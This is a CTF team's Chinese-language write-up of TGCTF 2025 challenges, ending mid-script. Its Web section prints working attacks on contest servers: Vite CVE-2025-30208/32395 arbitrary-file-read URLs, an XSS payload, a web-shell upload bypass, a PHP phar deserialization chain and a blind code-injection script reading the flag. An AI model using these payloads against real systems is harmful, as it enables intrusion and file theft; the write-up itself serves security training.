2025 TGCTF WriteUp By A1natas - AAAflag批发商
C3ngH Lv4

由于A1natas官网和A1CTF正在重构,本博客将用于暂存A1natas的WriteUp

Web:

AAA偷渡阴平

image

火眼

tgshell 直接连接马就行

直面天命

先爆破

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
import requests
import itertools
import string
import time
from concurrent.futures import ThreadPoolExecutor

# 目标网站的基础URL - 使用前请替换为实际目标URL
BASE_URL = "http://node2.tgctf.woooo.tech:32010/" # 请替换为实际目标URL

# 使用所有26个小写字母
all_letters = string.ascii_lowercase # 'abcdefghijklmnopqrstuvwxyz'

# 定义测试单个路径的函数


def test_path(path):
url = BASE_URL + path
try:
response = requests.get(url, timeout=3)

# 根据状态码和响应长度来判断是否找到有效页面
status = response.status_code
length = len(response.text)

# 记录所有非404响应
if status != 404:
print(f"[+] 发现: {url} (状态码: {status}, 长度: {length})")

# 保存发现的路径到文件中
with open("found_paths.txt", "a") as f:
f.write(f"{url} (状态码: {status}, 长度: {length})\n")

# 如果是200状态码,保存响应内容以便检查
if status == 200:
with open(f"response_{path}.html", "w", encoding="utf-8") as f:
f.write(response.text)

except requests.exceptions.RequestException as e:
pass # 忽略连接错误,继续测试

return path


# 显示开始信息
print("[*] 开始爆破所有4字母路径...")
print(f"[*] 目标URL: {BASE_URL}")
print(f"[*] 总组合数: {26**4} (这可能需要一些时间)")

# 跟踪进度变量
total_combinations = 26**4 # 可能的4字母组合总数
completed = 0
start_time = time.time()

# 使用多线程加速过程
with ThreadPoolExecutor(max_workers=20) as executor:
# 生成并测试所有4字母组合
for combo in itertools.product(all_letters, repeat=4):
path = ''.join(combo)
executor.submit(test_path, path)

# 定期更新进度
completed += 1
if completed % 5000 == 0:
elapsed = time.time() - start_time
percentage = (completed / total_combinations) * 100
rate = completed / elapsed if elapsed > 0 else 0
remaining = (total_combinations - completed) / \
rate if rate > 0 else 0

print(f"[*] 进度: {completed}/{total_combinations} ({percentage:.2f}%) - "
f"已用时间: {elapsed:.1f}秒 - 预计剩余: {remaining:.1f}秒 - 速度: {rate:.1f}请求/秒")

print("[*] 爆破完成! 查看 'found_paths.txt' 获取结果。")

路由是/aazz

访问提示可以传参,FUZZ一下,filename任意读,proc/1/environ出了

image

GAME

通过调试拿到score:

image image

image

目前到这里

1
2
3
4
const container = document.querySelector('.container')
onst stage = document.querySelector('.container').__vnode.ctx.devtoolsRawSetupState.games
console.log(stage.score)
stage.score = `<img src=x onerror='alert(114514)'>`;

CVE-2025-30208

直接打就完了,http://node2.tgctf.woooo.tech:30852/@fs//tgflagggg?import&raw??

image

GAME plus

30208被修复了,主要修改了transform.ts。

但是可以打/@fs/etc/passwd?import&?inline=1.wasm?init

inline不行就换成svg

(来自知识星球的一篇文章)

image

image

GAME Ultra

附件为"vite": "6.2.5",

直接打CVE-2025-32395

image

image

ezupload

fuzz了一下,nginx+php7,黑名单。

.bak找到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<?php
define('UPLOAD_PATH', __DIR__ . '/uploads/');
$is_upload = false;
$msg = null;
$status_code = 200; // 默认状态码为 200
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php", "php5", "php4", "php3", "php2", "html", "htm", "phtml", "pht", "jsp", "jspa", "jspx", "jsw", "jsv", "jspf", "jtml", "asp", "aspx", "asa", "asax", "ascx", "ashx", "asmx", "cer", "swf", "htaccess");

if (isset($_GET['name'])) {
$file_name = $_GET['name'];
} else {
$file_name = basename($_FILES['name']['name']);
}
$file_ext = pathinfo($file_name, PATHINFO_EXTENSION);

if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['name']['tmp_name'];
$file_content = file_get_contents($temp_file);

if (preg_match('/.+?</s', $file_content)) {
$msg = '文件内容包含非法字符,禁止上传!';
$status_code = 403; // 403 表示禁止访问
} else {
$img_path = UPLOAD_PATH . $file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
$msg = '文件上传成功!';
} else {
$msg = '上传出错!';
$status_code = 500; // 500 表示服务器内部错误
}
}
} else {
$msg = '禁止保存为该类型文件!';
$status_code = 403; // 403 表示禁止访问
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
$status_code = 404; // 404 表示资源未找到
}
}

// 设置 HTTP 状态码
http_response_code($status_code);

// 输出结果
echo json_encode([
'status_code' => $status_code,
'msg' => $msg,
]);

存在任意文件写,可以控制name为/…/ 跳转上一级

直接上传user。ini和一句话shell 就行

flag在环境变量

image

什么文件上传?

image

爆破一下上传后缀 image

直接打phar反序列化就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
<?php
// highlight_file(__FILE__);
// error_reporting(0);
function best64_decode($str)
{
return base64_decode(base64_decode(base64_decode(base64_decode(base64_decode($str)))));
}
class yesterday {
public $learn;
public $study="study";
// public $try;
// public function __construct()
// {
// $this->learn = "learn<br>";
// // }
public function __destruct()
{
echo "You studied hard yesterday.<br>";
return $this->study->hard();
}
}
class today {
public $doing;
public $did;
public $done;
// public function __construct(){
// $this->did = "What you did makes you outstanding.<br>";
// }
public function __call($arg1, $arg2)
{
$this->done = "And what you've done has given you a choice.<br>";
echo $this->done;
if(md5(md5($this->doing))==666){
return $this->doing();
}
else{
return $this->doing->better;
}
}
}
class tommoraw {
public $good;
public $bad;
public $soso;
// public function __invoke(){
// $this->good="You'll be good tommoraw!<br>";
// echo $this->good;
// }
// public function __get($arg1){
// $this->bad="You'll be bad tommoraw!<br>";
// }

}
class future{
public $impossible="How can you get here?<br>";
public $out;
public $no;
public $useful1;public $useful2;public $useful3;public $useful4;public $useful5;public $useful6;public $useful7;public $useful8;public $useful9;public $useful10;public $useful11;public $useful12;public $useful13;public $useful14;public $useful15;public $useful16;public $useful17;public $useful18;public $useful19;public $useful20;

// public function __set($arg1, $arg2) {
// if ($this->out->useful7) {
// echo "Seven is my lucky number<br>";
// system('whoami');
// }
// }
public function __toString(){
echo "This is your future.<br>";
// system($_POST["wow"]);
return "win";
}
// public function __destruct(){
// $this->no = "no";
// return $this->no;
// }
}
// if (file_exists($_GET['filename'])){
// echo "Focus on the previous step!<br>";
// }
// else{
// $data=substr($_GET['filename'],0,-4);
// unserialize(best64_decode(str: $data));
// }

$payload = new yesterday();
$payload->study = new today();
$payload->study->doing = new future();

// echo urlencode(serialize($payload));


$phar = new Phar('123.phar');
$phar -> stopBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','test');
$phar -> setMetadata($payload);
$phar -> stopBuffering();

?>

image

熟悉的配方,熟悉的味道

盲注即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import string
import time
import os
import requests
url = "http://node1.tgctf.woooo.tech:31931/"
ans = ""
for i in range(0, 100):
for strr in string.printable:
shell = f"""
import os
import time
a = os.popen('cat /fl*').read()
if len(a) > {i} and a[{i}] == '{strr}':
time.sleep(2)
"""
start = time.time()

requests.post(url, data={'expr': shell})

end = time.time()
if end - start > 2:
ans += strr
print(ans)

image

直面天命(复仇)

一把梭即可 image

AAA偷渡阴平(复仇)

image

什么文件上传?(复仇)

image

Misc:

简单签到,关注:”杭师大网安“谢谢喵🐱

关注公众号得flag。

ez_zip

爆破得到密码是20250412,解压后得到一个压缩包和一个sh512.txt,把txt中的那句话sha512一下,deflate明文攻击。 image根据数据存储区修复了一下压缩包

用Bandizip无密码快速压缩一个例子,然后对照着把压缩包修复一下就行

dirEntry的flag.txt应该是少东西了,需要我们手动补上

image

image

修复完成后打开即可得到flag:TGCTF{Warrior_You_have_defeated_the_giant_dragon!}

image

TeamGipsy&ctfer

image桌面上有个mimi.txt,发现出题人用Docker起了一个MySQL,直接去/var/lib/docker目录下翻

发现在/var/lib/docker/overlay2/6ac971c2de3baa602bb4335d6899bbf1963140364ce248decc9557b2f49139f9/diff/root/.mysql_history中就有flag:HZNUCTF{0H!_YOu_are_really_the_TeamGipsy_ctfer}

image

你能发现图中的秘密吗?

image

解压得到两张新的图片,第一张的左上角有第二部分的flag:

flag2=_attentive_and_conscientious}

用010打开final_challenge2.png,发现有一块IDAT块不太正常

image

提取出来,补上PNG文件头尾,然后爆破宽高即可得到另一段flag

image

Tips:这里要注意把IDAT的前四个字节也一起复制过来,并且保持不变

因为四字节代表的是数据长度,这里如果出错,图片的数据长度就错了,因此再爆破宽高也没用了

两段flag合起来就是最后的flag:flag{you_are_so_attentive_and_conscientious}

image

next is the end

直接脚本就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#!/usr/bin/env python3
import os
import sys

def traverse(path):
"""
递归遍历目录:
1. 如果当前目录中存在名为 'next_or_end' 的子目录,则进入该目录;
2. 否则:
- 如果目录中只有一个项目且该项目为文件,则返回该文件路径;
- 如果只有一个项目但是目录,则继续进入;
- 如果目录中有多个项目,则报错无法确定正确路径。
"""
while True:
# 若当前路径不是目录,则到达最终目标(通常是文件)
if not os.path.isdir(path):
return path

items = os.listdir(path)
# 如果当前目录中有 'next_or_end' 文件夹,则进入该目录
if "next_or_end" in items:
path = os.path.join(path, "next_or_end")
else:
# 当前目录没有 'next_or_end'
if len(items) == 1:
next_path = os.path.join(path, items[0])
if os.path.isdir(next_path):
# 如果唯一的项目还是目录,则继续进入
path = next_path
elif os.path.isfile(next_path):
# 如果唯一的项目是文件,则返回
return next_path
else:
print(f"遇到未知类型:{next_path}")
return None
else:
print(f"无法确定路径:目录 '{path}' 中存在多个项目:{items}")
return None

if __name__ == '__main__':
# 从命令行获取起始目录,若未传参数则默认为当前目录
start_path = sys.argv[1] if len(sys.argv) > 1 else "."
result = traverse(start_path)
if result:
print(f"最终目标路径:{result}")
if os.path.isfile(result):
# 如果目标为文件,读取并打印文件内容
try:
with open(result, 'r', encoding='utf-8') as f:
content = f.read()
print("文件内容如下:")
print(content)
except Exception as e:
print(f"读取文件时出错:{e}")
else:
print("最终目标不是一个普通文件。")
else:
print("未能找到最终目标。")

看到flag

image

where it is(osint)

谷歌识图

image

点进去发现

image

站点就是这个:港墘站

你的运气是好是坏?

笑死我了flag直接一试就试出来了:114514

这是啥o_o

下载得到一个无后缀的文件,文件头发现是gif,改成gif后拖进ps里看,发现最后几帧有散开的汉信码碎片。修复如下:

image

扫码得到:time is your fortune ,efficiency is your life

猜测是帧间隔隐写,用puzzlesolver提出帧间隔放入python转ASCII码,得到flag

a= [‘840’, ‘710’, ‘670’, ‘840’, ‘700’, ‘1230’, ‘890’, ‘1110’, ‘1170’, ‘950’, ‘990’, ‘970’, ‘1170’, ‘1030’, ‘1040’, ‘1160’, ‘950’, ‘1170’, ‘1120’, ‘950’, ‘1190’, ‘1050’, ‘1160’, ‘1040’, ‘950’, ‘1160’, ‘1050’, ‘1090’, ‘1010’, ‘330’, ‘1250’]

s = ‘’

for i in a:

s+=chr(int(i)//10)

print(s)

TGCTF{You_caught_up_with_time!}

Reverse:

XTEA

大端序密文输入。

delta没给,直接爆破0—>0xffffffff

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
#include<stdio.h>
#include<stdint.h>
#include<stdlib.h>

void encipher(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4],uint32_t delta) {
unsigned int i;
uint32_t v0 = v[0], v1 = v[1], sum = 0,a,b,c ;

for (i = 0; i < num_rounds; i++) {
/* printf("%x,%x,%x\n", v0, v1,sum);*/
a = (v1 << 4) ^ (v1 >> 5);
//printf("%x\n", a);
b = a+v1;
c = sum + key[sum & 3];
v0 += ( b^ c);
sum -= delta;
v1 += (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum >> 11) & 3]);
}
v[0] = v0; v[1] = v1;
}

void decipher(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4],uint32_t delta) {
unsigned int i;
uint32_t v0 = v[0], v1 = v[1], sum = delta * num_rounds ;
sum = 0;
for (int j = 0; j < 32; j++) sum -= delta;
for (i = 0; i < num_rounds; i++) {

v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum >> 11) & 3]);
sum += delta;
v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);

}
v[0] = v0; v[1] = v1;
}

int main() {
uint32_t v[8] = { 0x8CCB2324, 0x09A7741A, 0xFB3C678D, 0xF6083A79, 0xF1CC241B, 0x39FA59F2, 0xF2ABE1CC, 0x17189F72 };
uint32_t k[4] = { 0x000019F8, 0x000011BE, 0x00000991, 0x00003418 };
srand(2024);
uint32_t v2[4] = {0};
char flag[] = "HZNUCTF{";
//for (int i = 0; i < 4; i++) {
// k[i] = rand();
//}

uint32_t delta = 0;
for (uint32_t j = 0; j < 0xffffffff; j++) {
v2[0] = 0x485a4e55;
v2[1] = 0x4354467b;
encipher(32, v2, k,j);
if (v2[0] == v[0]) {
delta = j;
printf("%d\n", j);
}
}
printf("\n");
unsigned int r = 32;
for (int i = 6; i >=0; i--) {
decipher(r, &v[i], k, delta);
}
for (int i = 0; i < 32; i++) {
printf("%c", *((char*)v + i));
}

return 0;
}

最后手动把四字节反转一下

1
HZNUCTF{ae6-9f57-4b74-b423-98eb}

conforand

混淆成一坨了,把seed改为1后动调+盯帧查看数据变化和加密逻辑。

魔改rc4,魔改了下面的部分。

时间戳作为种子生成随机数(delta)对密钥进行了异或加密。

加密时盒交换就交换了一次,详情看下面的脚本。

解密时对随机数进行爆破再异或密钥解密魔改rc4就行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
#include<stdio.h> 
#include<stdlib.h>
#include<string.h>

//s 表的长度取 256
#define size 257

unsigned char sbox[257] = { 0 };

// 初始化 s 表
void init_sbox(unsigned char* key,unsigned int delta) {
unsigned int i, j, k;
int tmp;
unsigned char keyt[257] = { 0 };
//int delta = 0x6B8B4567;
for (i = 0; i < size; i++) {
sbox[i] = i;
keyt[i] = (key[i % 9] ^ delta) % 256;

}
j =k = 0;
for (i = 0; i < size; i++) {
tmp = sbox[i];
j = (j + tmp + keyt[i]) % 257;
//printf("%x,", j);
sbox[i] = sbox[j];
sbox[j] = tmp;
/*if (++k >= 12)
k = 0;*/
}
//printf("\n");


}

// 加解密函数
void enc_dec(unsigned char* key, unsigned char* data,unsigned int delta) {
int i, j, k, R, tmp;

init_sbox(key,delta);
//printf("R:\n");
j = k = 0;
for (i = 0; i < strlen((char*)data); i++) {
j = (j + 1) % size;
k = (k + sbox[j]) % size;

tmp = sbox[j];
sbox[j] = sbox[k];
//sbox[k] = tmp;
int a, b, c;
a = (sbox[j]);
b = sbox[k];
c = a + b;
/*for (int i = 0; i < 256; i++) {
printf("0x%x,", sbox[i]);
}*/
R = sbox[c % size];
//printf("%x,", R);
data[i] ^= R;
}
}

int main() {
unsigned char key[100] ="JustDoIt!";
unsigned char data[100] = "000000000000000000000000000000000000000000";
unsigned char mm[100] = { 0x83,0x1e,0x9c,0x48,0x7a,0xfa,0xe8,0x88,0x36,0xd5,0x0a,0x08,0xf6,0xa7,0x70,0x0f,0xfd,0x67,0xdd,0xd4,0x3c,0xa7,0xed,0x8d,0x51,0x10,0xce,0x6a,0x9e,0x56,0x57,0x83,0x56,0xe7,0x67,0x9a,0x67,0x22,0x24,0x6e,0xcd,0x2f };
unsigned char flag[] = "HZNUCTF{}";
unsigned char tmp[100];
tmp[42] = '\0';

for (unsigned int i = 0; i < 0xffffffff; i++) { //爆破随机数
for (int j = 0; j < 42; j++) {
tmp[j] = mm[j];
}
enc_dec(key, tmp,i);
if (tmp[0] == flag[0] && tmp[1] == flag[1] &&tmp[2] == flag[2] && tmp[3] == flag[3])
{
printf("delta:%d\n", i);
for (int i = 0; i < 42; i++) {
printf("0x%x,", mm[i]);
}
break;
}
}
printf("\n%s", tmp);

return 0;
}

蛇年的本命语言

z3解一下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from z3 import *

s = Solver()
i11i1Iii1I1 =list(Int(f"a_{i}") for i in range(30))
ii1iIi1i11i = [
7 * i11i1Iii1I1[0] == 504,
9 * i11i1Iii1I1[0] - 5 * i11i1Iii1I1[1] == 403,
(2 * i11i1Iii1I1[0] - 5 * i11i1Iii1I1[1]) + 10 * i11i1Iii1I1[2] == 799,
3 * i11i1Iii1I1[0] + 8 * i11i1Iii1I1[1] + 15 * i11i1Iii1I1[2] + 20 * i11i1Iii1I1[3] == 2938,
(5 * i11i1Iii1I1[0] + 15 * i11i1Iii1I1[1] + 20 * i11i1Iii1I1[2] - 19 * i11i1Iii1I1[3]) + 1 * i11i1Iii1I1[4] == 2042,
(7 * i11i1Iii1I1[0] + 1 * i11i1Iii1I1[1] + 9 * i11i1Iii1I1[2] - 11 * i11i1Iii1I1[3]) + 2 * i11i1Iii1I1[4] + 5 * i11i1Iii1I1[5] == 1225,
11 * i11i1Iii1I1[0] + 22 * i11i1Iii1I1[1] + 33 * i11i1Iii1I1[2] + 44 * i11i1Iii1I1[3] + 55 * i11i1Iii1I1[4] + 66 * i11i1Iii1I1[5] - 77 * i11i1Iii1I1[6] == 7975,
((21 * i11i1Iii1I1[0] + 23 * i11i1Iii1I1[1] + 3 * i11i1Iii1I1[2] + 24 * i11i1Iii1I1[3] - 55 * i11i1Iii1I1[4]) + 6 * i11i1Iii1I1[5] - 7 * i11i1Iii1I1[6]) + 15 * i11i1Iii1I1[7] == 229,
(2 * i11i1Iii1I1[0] + 26 * i11i1Iii1I1[1] + 13 * i11i1Iii1I1[2] + 0 * i11i1Iii1I1[3] - 65 * i11i1Iii1I1[4]) + 15 * i11i1Iii1I1[5] + 29 * i11i1Iii1I1[6] + 1 * i11i1Iii1I1[7] + 20 * i11i1Iii1I1[8] == 2107,
(10 * i11i1Iii1I1[0] + 7 * i11i1Iii1I1[1] + -9 * i11i1Iii1I1[2] + 6 * i11i1Iii1I1[3] + 7 * i11i1Iii1I1[4] + 1 * i11i1Iii1I1[5] + 22 * i11i1Iii1I1[6] + 21 * i11i1Iii1I1[7] - 22 * i11i1Iii1I1[8]) + 30 * i11i1Iii1I1[9] == 4037,
(15 * i11i1Iii1I1[0] + 59 * i11i1Iii1I1[1] + 56 * i11i1Iii1I1[2] + 66 * i11i1Iii1I1[3] + 7 * i11i1Iii1I1[4] + 1 * i11i1Iii1I1[5] - 122 * i11i1Iii1I1[6]) + 21 * i11i1Iii1I1[7] + 32 * i11i1Iii1I1[8] + 3 * i11i1Iii1I1[9] - 10 * i11i1Iii1I1[10] == 4950,
(((13 * i11i1Iii1I1[0] + 66 * i11i1Iii1I1[1] + 29 * i11i1Iii1I1[2] + 39 * i11i1Iii1I1[3] - 33 * i11i1Iii1I1[4]) + 13 * i11i1Iii1I1[5] - 2 * i11i1Iii1I1[6]) + 42 * i11i1Iii1I1[7] + 62 * i11i1Iii1I1[8] + 1 * i11i1Iii1I1[9] - 10 * i11i1Iii1I1[10]) + 11 * i11i1Iii1I1[11] == 12544,
(((23 * i11i1Iii1I1[0] + 6 * i11i1Iii1I1[1] + 29 * i11i1Iii1I1[2] + 3 * i11i1Iii1I1[3] - 3 * i11i1Iii1I1[4]) + 63 * i11i1Iii1I1[5] - 25 * i11i1Iii1I1[6]) + 2 * i11i1Iii1I1[7] + 32 * i11i1Iii1I1[8] + 1 * i11i1Iii1I1[9] - 10 * i11i1Iii1I1[10]) + 11 * i11i1Iii1I1[11] - 12 * i11i1Iii1I1[12] == 6585,
((((223 * i11i1Iii1I1[0] + 6 * i11i1Iii1I1[1] - 29 * i11i1Iii1I1[2] - 53 * i11i1Iii1I1[3] - 3 * i11i1Iii1I1[4]) + 3 * i11i1Iii1I1[5] - 65 * i11i1Iii1I1[6]) + 0 * i11i1Iii1I1[7] + 36 * i11i1Iii1I1[8] + 1 * i11i1Iii1I1[9] - 15 * i11i1Iii1I1[10]) + 16 * i11i1Iii1I1[11] - 18 * i11i1Iii1I1[12]) + 13 * i11i1Iii1I1[13] == 6893,
((((29 * i11i1Iii1I1[0] + 13 * i11i1Iii1I1[1] - 9 * i11i1Iii1I1[2] - 93 * i11i1Iii1I1[3]) + 33 * i11i1Iii1I1[4] + 6 * i11i1Iii1I1[5] + 65 * i11i1Iii1I1[6] + 1 * i11i1Iii1I1[7] - 36 * i11i1Iii1I1[8]) + 0 * i11i1Iii1I1[9] - 16 * i11i1Iii1I1[10]) + 96 * i11i1Iii1I1[11] - 68 * i11i1Iii1I1[12]) + 33 * i11i1Iii1I1[13] - 14 * i11i1Iii1I1[14] == 1883,
(((69 * i11i1Iii1I1[0] + 77 * i11i1Iii1I1[1] - 93 * i11i1Iii1I1[2] - 12 * i11i1Iii1I1[3]) + 0 * i11i1Iii1I1[4] + 0 * i11i1Iii1I1[5] + 1 * i11i1Iii1I1[6] + 16 * i11i1Iii1I1[7] + 36 * i11i1Iii1I1[8] + 6 * i11i1Iii1I1[9] + 19 * i11i1Iii1I1[10] + 66 * i11i1Iii1I1[11] - 8 * i11i1Iii1I1[12]) + 38 * i11i1Iii1I1[13] - 16 * i11i1Iii1I1[14]) + 15 * i11i1Iii1I1[15] == 8257,
((((23 * i11i1Iii1I1[0] + 2 * i11i1Iii1I1[1] - 3 * i11i1Iii1I1[2] - 11 * i11i1Iii1I1[3]) + 12 * i11i1Iii1I1[4] + 24 * i11i1Iii1I1[5] + 1 * i11i1Iii1I1[6] + 6 * i11i1Iii1I1[7] + 14 * i11i1Iii1I1[8] - 0 * i11i1Iii1I1[9]) + 1 * i11i1Iii1I1[10] + 68 * i11i1Iii1I1[11] - 18 * i11i1Iii1I1[12]) + 68 * i11i1Iii1I1[13] - 26 * i11i1Iii1I1[14]) + 15 * i11i1Iii1I1[15] - 16 * i11i1Iii1I1[16] == 5847,
(((((24 * i11i1Iii1I1[0] + 0 * i11i1Iii1I1[1] - 1 * i11i1Iii1I1[2] - 15 * i11i1Iii1I1[3]) + 13 * i11i1Iii1I1[4] + 4 * i11i1Iii1I1[5] + 16 * i11i1Iii1I1[6] + 67 * i11i1Iii1I1[7] + 146 * i11i1Iii1I1[8] - 50 * i11i1Iii1I1[9]) + 16 * i11i1Iii1I1[10] + 6 * i11i1Iii1I1[11] - 1 * i11i1Iii1I1[12]) + 69 * i11i1Iii1I1[13] - 27 * i11i1Iii1I1[14]) + 45 * i11i1Iii1I1[15] - 6 * i11i1Iii1I1[16]) + 17 * i11i1Iii1I1[17] == 18257,
((((25 * i11i1Iii1I1[0] + 26 * i11i1Iii1I1[1] - 89 * i11i1Iii1I1[2]) + 16 * i11i1Iii1I1[3] + 19 * i11i1Iii1I1[4] + 44 * i11i1Iii1I1[5] + 36 * i11i1Iii1I1[6] + 66 * i11i1Iii1I1[7] - 150 * i11i1Iii1I1[8] - 250 * i11i1Iii1I1[9]) + 166 * i11i1Iii1I1[10] + 126 * i11i1Iii1I1[11] - 11 * i11i1Iii1I1[12]) + 690 * i11i1Iii1I1[13] - 207 * i11i1Iii1I1[14]) + 46 * i11i1Iii1I1[15] + 6 * i11i1Iii1I1[16] + 7 * i11i1Iii1I1[17] - 18 * i11i1Iii1I1[18] == 12591,
(((((5 * i11i1Iii1I1[0] + 26 * i11i1Iii1I1[1] + 8 * i11i1Iii1I1[2] + 160 * i11i1Iii1I1[3] + 9 * i11i1Iii1I1[4] - 4 * i11i1Iii1I1[5]) + 36 * i11i1Iii1I1[6] + 6 * i11i1Iii1I1[7] - 15 * i11i1Iii1I1[8] - 20 * i11i1Iii1I1[9]) + 66 * i11i1Iii1I1[10] + 16 * i11i1Iii1I1[11] - 1 * i11i1Iii1I1[12]) + 690 * i11i1Iii1I1[13] - 20 * i11i1Iii1I1[14]) + 46 * i11i1Iii1I1[15] + 6 * i11i1Iii1I1[16] + 7 * i11i1Iii1I1[17] - 18 * i11i1Iii1I1[18]) + 19 * i11i1Iii1I1[19] == 52041,
((((((29 * i11i1Iii1I1[0] - 26 * i11i1Iii1I1[1]) + 0 * i11i1Iii1I1[2] + 60 * i11i1Iii1I1[3] + 90 * i11i1Iii1I1[4] - 4 * i11i1Iii1I1[5]) + 6 * i11i1Iii1I1[6] + 6 * i11i1Iii1I1[7] - 16 * i11i1Iii1I1[8] - 21 * i11i1Iii1I1[9]) + 69 * i11i1Iii1I1[10] + 6 * i11i1Iii1I1[11] - 12 * i11i1Iii1I1[12]) + 69 * i11i1Iii1I1[13] - 20 * i11i1Iii1I1[14] - 46 * i11i1Iii1I1[15]) + 65 * i11i1Iii1I1[16] + 0 * i11i1Iii1I1[17] - 1 * i11i1Iii1I1[18]) + 39 * i11i1Iii1I1[19] - 20 * i11i1Iii1I1[20] == 20253,
(((((((45 * i11i1Iii1I1[0] - 56 * i11i1Iii1I1[1]) + 10 * i11i1Iii1I1[2] + 650 * i11i1Iii1I1[3] - 900 * i11i1Iii1I1[4]) + 44 * i11i1Iii1I1[5] + 66 * i11i1Iii1I1[6] - 6 * i11i1Iii1I1[7] - 6 * i11i1Iii1I1[8] - 21 * i11i1Iii1I1[9]) + 9 * i11i1Iii1I1[10] - 6 * i11i1Iii1I1[11] - 12 * i11i1Iii1I1[12]) + 69 * i11i1Iii1I1[13] - 2 * i11i1Iii1I1[14] - 406 * i11i1Iii1I1[15]) + 651 * i11i1Iii1I1[16] + 2 * i11i1Iii1I1[17] - 10 * i11i1Iii1I1[18]) + 69 * i11i1Iii1I1[19] - 0 * i11i1Iii1I1[20]) + 21 * i11i1Iii1I1[21] == 18768,
(((((555 * i11i1Iii1I1[0] - 6666 * i11i1Iii1I1[1]) + 70 * i11i1Iii1I1[2] + 510 * i11i1Iii1I1[3] - 90 * i11i1Iii1I1[4]) + 499 * i11i1Iii1I1[5] + 66 * i11i1Iii1I1[6] - 66 * i11i1Iii1I1[7] - 610 * i11i1Iii1I1[8] - 221 * i11i1Iii1I1[9]) + 9 * i11i1Iii1I1[10] - 23 * i11i1Iii1I1[11] - 102 * i11i1Iii1I1[12]) + 6 * i11i1Iii1I1[13] + 2050 * i11i1Iii1I1[14] - 406 * i11i1Iii1I1[15]) + 665 * i11i1Iii1I1[16] + 333 * i11i1Iii1I1[17] + 100 * i11i1Iii1I1[18] + 609 * i11i1Iii1I1[19] + 777 * i11i1Iii1I1[20] + 201 * i11i1Iii1I1[21] - 22 * i11i1Iii1I1[22] == 111844,
(((((((1 * i11i1Iii1I1[0] - 22 * i11i1Iii1I1[1]) + 333 * i11i1Iii1I1[2] + 4444 * i11i1Iii1I1[3] - 5555 * i11i1Iii1I1[4]) + 6666 * i11i1Iii1I1[5] - 666 * i11i1Iii1I1[6]) + 676 * i11i1Iii1I1[7] - 660 * i11i1Iii1I1[8] - 22 * i11i1Iii1I1[9]) + 9 * i11i1Iii1I1[10] - 73 * i11i1Iii1I1[11] - 107 * i11i1Iii1I1[12]) + 6 * i11i1Iii1I1[13] + 250 * i11i1Iii1I1[14] - 6 * i11i1Iii1I1[15]) + 65 * i11i1Iii1I1[16] + 39 * i11i1Iii1I1[17] + 10 * i11i1Iii1I1[18] + 69 * i11i1Iii1I1[19] + 777 * i11i1Iii1I1[20] + 201 * i11i1Iii1I1[21] - 2 * i11i1Iii1I1[22]) + 23 * i11i1Iii1I1[23] == 159029,
(((520 * i11i1Iii1I1[0] - 222 * i11i1Iii1I1[1]) + 333 * i11i1Iii1I1[2] + 4 * i11i1Iii1I1[3] - 56655 * i11i1Iii1I1[4]) + 6666 * i11i1Iii1I1[5] + 666 * i11i1Iii1I1[6] + 66 * i11i1Iii1I1[7] - 60 * i11i1Iii1I1[8] - 220 * i11i1Iii1I1[9]) + 99 * i11i1Iii1I1[10] + 73 * i11i1Iii1I1[11] + 1007 * i11i1Iii1I1[12] + 7777 * i11i1Iii1I1[13] + 2500 * i11i1Iii1I1[14] + 6666 * i11i1Iii1I1[15] + 605 * i11i1Iii1I1[16] + 390 * i11i1Iii1I1[17] + 100 * i11i1Iii1I1[18] + 609 * i11i1Iii1I1[19] + 99999 * i11i1Iii1I1[20] + 210 * i11i1Iii1I1[21] + 232 * i11i1Iii1I1[22] + 23 * i11i1Iii1I1[23] - 24 * i11i1Iii1I1[24] == 2762025,
